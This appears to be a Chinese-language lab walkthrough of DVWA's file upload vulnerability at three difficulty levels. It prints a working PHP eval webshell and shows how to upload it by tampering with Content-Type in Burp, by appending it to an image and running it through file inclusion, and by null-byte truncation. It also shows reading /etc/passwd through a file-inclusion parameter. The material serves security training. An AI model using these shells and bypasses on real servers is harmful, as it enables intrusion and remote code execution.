DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)
File Upload,即檔案上傳漏洞,通常是由于對上傳檔案的類型、内容沒有進行嚴格的過濾、檢查,使得攻擊者可以通過上傳木馬擷取伺服器的 webshell 權限,是以檔案上傳漏洞帶來的危害常常是毀滅性的,Apache、Tomcat、Nginx 等都曝出過檔案上傳漏洞。
LOW
首先将難度級别調整到low
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHL4FleOJzYq1EMRpHW4Z0MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL1AjM2AjM0IjM0ADOwAjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
打開檔案上傳漏洞靶場
提示我們上傳需要上傳的圖檔,先不着急,我們來檢視一下源碼
源碼中定義了檔案上傳路徑以及将檔案移動到上傳目錄。
關于$_FILES 函數的簡單介紹
第一個參數是表單的 input name,第二個下标可以是 “name”, “type”, “size”, “tmp_name” 或"error"。
就像這樣:
$_FILES[“file”][“name”] - 被上傳檔案的名稱
$_FILES[“file”][“type”] - 被上傳檔案的類型
$_FILES[“file”][“size”] - 被上傳檔案的大小,以位元組計
$_FILES[“file”][“tmp_name”] - 存儲在伺服器的檔案的臨時副本的名稱
$_FILES[“file”][“error”] - 由檔案上傳導緻的錯誤代碼
這是一種非常簡單檔案上傳方式。基于安全方面的考慮,您應當增加有關什麼使用者有權上傳檔案的限制。
對檔案類型簡單限制的方式
$_FILES[“file”][“type”] == “image/gif”
通過源碼可知,并沒有對上傳檔案的類型進行判斷,在這裡我們直接嘗試上傳一句話木馬。
建立一個木馬檔案
Webshell 從名字上來看就是在 web 站點上的一個 shell 管理工具,其實就是這樣,webshell 檔案上傳到站點後,黑客進行通路該檔案并送出代碼進行執行,進而入侵 web 站點。是以它也是木馬的一種,在 web 領域這類木馬分為兩類,大馬和小馬。小馬通常指一句話木馬,可以用來滲透測試初期與伺服器建立連結取得 shell 權限;大馬就是在小馬的基礎上內建了非常多的功能,比如連接配接資料庫下載下傳檔案等。我們剛才上傳的檔案就是一個 webshell 是使用 php 語言進行編寫的,當然 webshell 也有其他語言如 jsp 等。
webshell 的工作原理
檢視源碼
<?php @eval($_POST[123456]); ?>
eval() 函數把字元串按照 PHP 代碼來計算。字元串可以通過$_POST 擷取代碼。123456 為密碼。
進行上傳
上傳成功,要想使用蟻劍進行連接配接,我們就需要知道一句話木馬的檔案位置
通過上傳成功的提示可以知道
…/…/hackable/uploads/1.php succesfully uploaded!
通過浏覽器可以知道
http://www.web.com/dvwa/vulnerabilities/upload/#
在linux系統中…/代表傳回上一級目錄的意思
綜上可知檔案目錄為
http://www.web.com/dvwa/hackable/uploads/1.php
然後我們使用蟻劍連結(我的密碼為123456)
連結後輕按兩下檢視是否能得到伺服器目錄,成功
Medium
首先将難度級别調整到Medium
打開源碼進行檢視
通過源碼可知在這裡對上傳檔案的字尾進行了判斷,當檔案字尾不為圖檔格式時,将無法上傳成功。
那麼我們将一句話木馬檔案字尾改為png呢?
嘗試,上傳成功
可是問題來了,我們無法使用蟻劍進行連接配接
這時我們就需要使用burp進行抓包修改檔案字尾
将png修改為php,那麼問題來了,我們修改完了就會不對檔案進行攔截嗎?
不會,注意這裡進行攔截判斷的是
Content-Type: image/png
點選發送,可以看到我們上傳成功
接下來使用蟻劍進行連接配接
http://www.web.com/dvwa/hackable/uploads/1.php
成功擷取到伺服器目錄
Hight
首先将難度級别調整到Hight
打開源碼進行檢視
strrpos(string , find ,start) 查找 find 字元在 string 字元中的最後一次出現的位置,start 參數可選,表示指定從哪裡開始
substr(string,start,length) 傳回 string 字元中從 start 開始的字元串,length 參數可選,表示傳回字元的長度
strtolower(string) 傳回給定字元串的小寫
getimagesize(string) :函數的作用是判斷上傳的檔案是不是有效的圖檔
move_uploaded_file(file,newlocal)函數表示把給定的檔案移動到新的位置
是以 $uploaded_ext 表示的是上傳檔案的字尾名 ,這裡限制上傳的檔案的字尾名必須以 jpg 、
jpeg 或 png 結尾,同時大小<100000,同時上傳的檔案必須是有效的圖檔格式(不隻是以圖檔的格式結尾,而且檔案内容是圖檔格式的)。
上傳失敗,盡管 1.png 是以 png 結尾的,但是檔案檔案裡面的内容不對。一樣上傳不了。
把代碼+圖檔合在一起。最終看到還是一個圖檔,隻是這個圖檔中有代碼。
思路:
1.把代碼和圖檔合在一起。最終看到的還是一個圖檔
2.上傳一個帶有代碼的png圖檔
3.以檔案包含漏洞來執行圖檔中的php代碼
檔案包含,即通過 php 函數加載另一個檔案中的 php 代碼,此函數通常會擷取所有檔案内容進行執行,識别到 php 代碼後會執行 php 代碼。
inclusion [ɪnˈkluːʒn] 包含
http://www.web.com/dvwa/vulnerabilities/fi/?page=file1.php
可以看到它加載的頁面是 file1.php 這個檔案,我們可以修改頁面為其他檔案。修改檔案位址
如:http://www.web.com/dvwa/vulnerabilities/fi/?page=file:etc/passwd
注:file:///是固定格式後面跟檔案路徑/etc/passwd
那麼我們可以上傳一個帶有 php 一句話木馬代碼的 png 圖檔。上傳成功後,使用蟻劍進行連接配接。
制作簡單的圖檔木馬進行上傳繞過
上傳圖檔檔案到 kali 中,将一句話木馬追加到圖檔中。
上傳1.php 和 2.jpg 到 kali 系統中:
我們通過将 php 代碼合并到圖檔中來進行隐藏。
[email protected]:~# cat 1.php >> 2.jpg
[email protected]:~# vim 2.jpg
将檔案上傳,成功
檔案上傳成功,但是檔案字尾名稱并不能更改,因為代碼中對檔案名稱也進行了嚴格的校驗。
拓展:如果 php 版本低于 5.4 可以使用 webshell.php%00.jpg 進行截斷繞過,這樣檔案會被直接當做 php 檔案進行執行,不過我們目前的 php 版本大于 5.4 是以我們需要使用檔案包含進行繞過。
使用蟻劍進行連接配接,輸入位址:
http://www.web.com/dvwa/vulnerabilities/fi/?page=file:///D:/wamp/www/dvwa/hackable/uploads/2.jpg
由于檔案包含,需要登入 DVWA,在未登入的狀态下,會導緻連接配接不成功。可以直接把已經登入的Cookie 資訊在編輯 Shell 配置添加到 Header 頭裡,這樣就可以了。
在 已經登入 DVWA 頁面,按 F12 鍵,擷取 Cookie
配置蟻劍
連接配接,成功